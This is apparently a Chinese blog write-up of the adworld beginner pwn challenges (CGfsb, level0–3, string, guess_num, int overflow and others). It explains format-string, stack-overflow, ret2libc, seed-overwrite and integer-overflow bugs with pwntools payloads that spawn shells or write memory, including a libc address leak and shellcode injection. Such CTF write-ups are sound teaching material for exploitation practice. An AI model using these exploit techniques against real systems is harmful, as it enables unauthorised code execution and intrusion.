adworld攻防世界-pwn-新手区-wp

adworld-pwn-新手区

tcl 到现在才算是正经昨晚攻防世界的pwn新手区,

整理wp:

题目文件:

https://www.jianguoyun.com/p/DSZC7xcQg9bmBxjp5eoC (访问密码:emFwst)

这其中利用到的相关漏洞:

格式化字符串、栈溢出、伪随机数覆盖种子、整数溢出

另外由于自己的exp设置好模板等, 基本都是一个比较大的框架里,每个exp都比较大, 而且会有不需要的部分,所以exp只是写出来关键的payload,前后的部分大都是套路,每次都在写的一样的东西,

文章目录

  • adworld-pwn-新手区
  • get-shell
  • CGfsb
  • when_did_you_born
  • hello_pwn
  • level0
  • level2
  • cg pwn2
  • level3
  • string
  • guess_num
  • int overflow

get-shell

其实这个是一般的pwn题目的常规套路,既,给一个二进制文件,分析其漏洞并写出exp, 再远程连接给出的端口,利用这个漏洞获取权限读取flag, 或直接读取flag,

adworld攻防世界-pwn-新手区-wp_第1张图片

这个题目就没有设置漏洞,这本身是一个获取shell的程序

点击获取远程场景,然后使用nc连接:

nc -nv host port

然后直接获取到了shell,则获取列表:

ls

然后看到flag,直接查看得到:

cat flag

adworld攻防世界-pwn-新手区-wp_第2张图片

CGfsb

先在linux下查看基础信息:

adworld攻防世界-pwn-新手区-wp_第3张图片

其中的语句:

NX:      #堆栈不可执行--DEP
Canary:  #栈保护
PIE:     #内存地址随机化ASLR

然后扔到ida中查看伪代码,发现printf的危险用法。

adworld攻防世界-pwn-新手区-wp_第4张图片

格式化字符串漏洞:

这类漏洞主要来源于printf一系列的可变参的库函数。

他无法区别自己的参数中由程序设定的部分和用户数据部分,所以当我们使用一些非规范的编码方式时会造成这个漏洞。

比如:

printf("%d%d%d") 我们不向print中传入数据,只要求输出格式,在运行时,print会输出数据,这是栈中的用户数据。

printf(&x)当出现这种情况时,print会将一个数据打印出来,这是我们可以将这段数据写成输出格式,就可以使用printf输出一些地址信息、数据或其他一些敏感信息。

而且printf中的格式语句%n还可以改变程序内数值,我们本题目就利用到了这一点。

此外还有%x$n的用法,x表示偏移,可以直接指向那个偏移位置对应的栈内空间

我们利用这个格式化字符串漏洞,返回栈内数据。

  • 格式化字符串漏洞修改栈内数据

我们payload中,利用格式化中的``%x$n`,可以凭借此将pwnme修改。

注意这里多使用pwndbg调试, 要注意, %n格式是赋值到对应位置所指向的内存, 因此我们需要在栈中有一个只想pwnme的地址的指针,

我们使用写入名字的位置写入这个指向pwnme的指针,

然后在其后的格式化字符串位置修改pwnme,

但是要注意的是我们name写入的是中间位置, 而在栈中选取的时候只会选取到对齐的,我们应该前面补上四位, 然后对格式化字符串用%p,%p,%p,%p...来确定下我们目标的偏移位置,

adworld攻防世界-pwn-新手区-wp_第5张图片

使用pwntools写exp修改pwnme的值:

name = b'aa' + p32(pwnme_addr)
payload = 'a'*8 + '%8$n'

adworld攻防世界-pwn-新手区-wp_第6张图片

when_did_you_born

adworld攻防世界-pwn-新手区-wp_第7张图片

我们发现最开始v5不能为1926,但是后面判定其为1926。

注意到v5的值前后矛盾。

如果是re题目,这样的判定后有应该是一个输出flag的函数,然后动态控制直接转向flag输出函数。

但pwn题目我们面对这样的情况会使用攻击手段修改掉这个参数,其中这个题目明显是栈溢出。

  • 栈溢出覆盖特定位置字符

先计算v4v5之间的距离,由ebp-0x18ebp-0x20为8位,我们得到payload并写出exp:

payload = "a" * 8 + p64(1926)

adworld攻防世界-pwn-新手区-wp_第8张图片

hello_pwn

ida载入发现这个题目和when_did_you_born两个题目是一样的。

adworld攻防世界-pwn-新手区-wp_第9张图片
查看两个数据,发现在内存中相邻,所以本题和上上题是一样的。

adworld攻防世界-pwn-新手区-wp_第10张图片
计算距离为:4位。可以写出exp:

payload = 'a'*4 + p64(0x6E756161)

运行得到flag:

adworld攻防世界-pwn-新手区-wp_第11张图片

level0

ida载入发现main函数极为简单。

adworld攻防世界-pwn-新手区-wp_第12张图片
进入子函数:
adworld攻防世界-pwn-新手区-wp_第13张图片

得到溢出点,然后发现程序内存在获取shell的函数:
adworld攻防世界-pwn-新手区-wp_第14张图片
我们将程序劫持并跳转到该位置即可。

计算距离为0x80,可以写出exp:

payload = 'a'*136 + p64(0x400596)

得到flag:

adworld攻防世界-pwn-新手区-wp_第15张图片

level2

ida载入,看到主函数十分简单。
adworld攻防世界-pwn-新手区-wp_第16张图片

进入子函数,发现溢出点:

adworld攻防世界-pwn-新手区-wp_第17张图片
计算返回地址的距离为,0x8c。

发现程序中没有了获取shell的函数,我们需要手动设置,先找到system和bin/sh的位置。
adworld攻防世界-pwn-新手区-wp_第18张图片

system我们直接在文件内查找:

shaddr = 0x0804A024

e = ELF("./level2")
sysaddr = e.symbols["system"]

payload = 'a' * 0x8c + p32(sysaddr) + p32(0) + p32(shaddr)

注意这里中间的空位, 是为了补齐栈帧中返回值的位置,其实我们也可以指定特定的返回值, 然后运行完这个调用后返回到那个位置, 我们这里已经getshell了, 就无所谓了。

运行脚本得到flag:
adworld攻防世界-pwn-新手区-wp_第19张图片

cg pwn2

函数处理一堆,其实就一个位置重要,

adworld攻防世界-pwn-新手区-wp_第20张图片

这里的栈溢出, 还有一个name, 可以往bss段写入数据,

我们还可以看到system的plt表, 于是这个题目和level2基本相同,

p.sendlineafter("name", "/bin/sh\x00")
payload = b'a'*0x26+b'a'*4+ p32(0x8048420) + p32(0x08048420) + p32(0x0804A080)
p.sendlineafter("here", payload)	

还是要注意这个中间占位的一个数据, 其实也可以写0.

level3

adworld攻防世界-pwn-新手区-wp_第21张图片

只有一个栈溢出, 这次啥都没了,但是有个libc,

我们去先使用write泄露出来libc中的地址,然后去得到libc中的system函数地址和’/bin/sh’地址, 就可以getshell,

主要的位置:

write_plt = elf.symbols['write']
write_got = elf.got['write']

write_libc = libc.symbols['write']
sys_libc = libc.symbols['system']
sh_libc = next(libc.search(b'/bin/sh'))

ret_addr = 0x0804844b

payload1 = b'a'*140 + p32(write_plt) + p32(ret_addr) + p32(1) + p32(write_got) + p32(4)

p.sendlineafter('Input:\n', payload1)
write_addr = u32(cn.recv(4))
success(hex(write_addr))

sys_addr = write_addr - (write_libc - sys_libc)
sh_addr = write_addr - (write_libc - sh_libc)

payload2 = b'a'*140 + p32(sys_addr) + p32(ret_addr) + p32(sh_addr)

p.sendlineafter("Input:\n", payload2)

这个地方中间的占位数据就必须得是写好的一个地址,用于第一次write以后返回的地址, 这里我们设置到溢出的函数, 触发下一次的栈溢出。

string

这个题目啰嗦的一批,重点其实是一个格式化字符串漏洞和shellcode,

大致分析一下程序,漏洞是一个格式化字符串改掉一个位置触发shellcode,

输入的位置, 最开始的name无所谓, 其他的输入点都是确定的,一个格式化字符串漏洞要修改值, 是’%x$n’形式, 然后shellcode就是getshell的形式。

这样大致确定一个思路,调试下格式化字符串的位置就好:
adworld攻防世界-pwn-新手区-wp_第22张图片

首先读入一个地址,然后利用格式化字符串去修改,
adworld攻防世界-pwn-新手区-wp_第23张图片

这里可以找到偏移为7个, 可以的到exp:

context(os = 'linux', arch= 'amd64')

# secret
(p.recvuntil('secret[0] is '))
s0 =int(p.recvuntil('\n')[:-1], 16)
success(hex(s0))
success(s0)
(p.recvuntil('secret[1] is '))
s1 = int(p.recvuntil('\n')[:-1], 16)
success(hex(s1))


name = 'aaa'
p.recvuntil('name be:\n')
p.sendline(name)
p.recvuntil('up?:')
p.sendline('east')
p.recvuntil('leave(0)?:')
p.sendline('1')

# wish
p.recvuntil('address\'')
p.sendline(str(s0))
p.recvuntil("And, you wish is:\n")
payload="%085d%7$n"
p.sendline(payload)

# shellcode
p.recvuntil('SPELL\n')
p.sendline(asm(shellcraft.amd64.linux.sh()))

guess_num

adworld攻防世界-pwn-新手区-wp_第24张图片

主要的函数逻辑就是 猜数字,才对10次, 我们直接得到flag,

我们注意到这个函数的种子在栈中,输入名字的时候又存在一个栈溢出,我们可以直接利用栈溢出去修改掉种子,

首先先得到一个种子为1的时候十个随机数:

#include
#include

int main(void){
   srand(1);
   for (int i = 0; i < 10; i ++){
       int test = rand() % 6 + 1;
       printf("%d,", test);
   }
   return 0;
}

得到:2,5,4,2,6,2,5,1,4,2

然后exp:

payload = b'a'*32+p64(1)
p.sendlineafter("name:", payload)
arr = [2,5,4,2,6,2,5,1,4,2]
for i in range(10):
    p.sendlineafter("number:", str(arr[i]))

int overflow

这个题目比较奇特的位置, 第一个输入点是一个确定的1, 应该是所有的输入点都不存在溢出,

但是后面的这个strcpy位置, 表面看是先确定了长度以后在进行的, 应该不存在溢出,

adworld攻防世界-pwn-新手区-wp_第25张图片

但是c语言存在数据溢出会被自动舍弃掉的概念:

这个v3最大值为0xff, 即最大为255, 则256就为0
adworld攻防世界-pwn-新手区-wp_第26张图片

我们输入269 会自动舍弃高位,就为4, 这时候复制一个269长度的字符串,就会造成溢出,

p.sendlineafter("username:", 'aaa')
p.recvuntil("passwd:")
payload = b'a'*0x14 + b'a'*4 + p32(0x804868B) + b'a'*232
p.sendline(payload)

你可能感兴趣的:(pwn,题目的整理)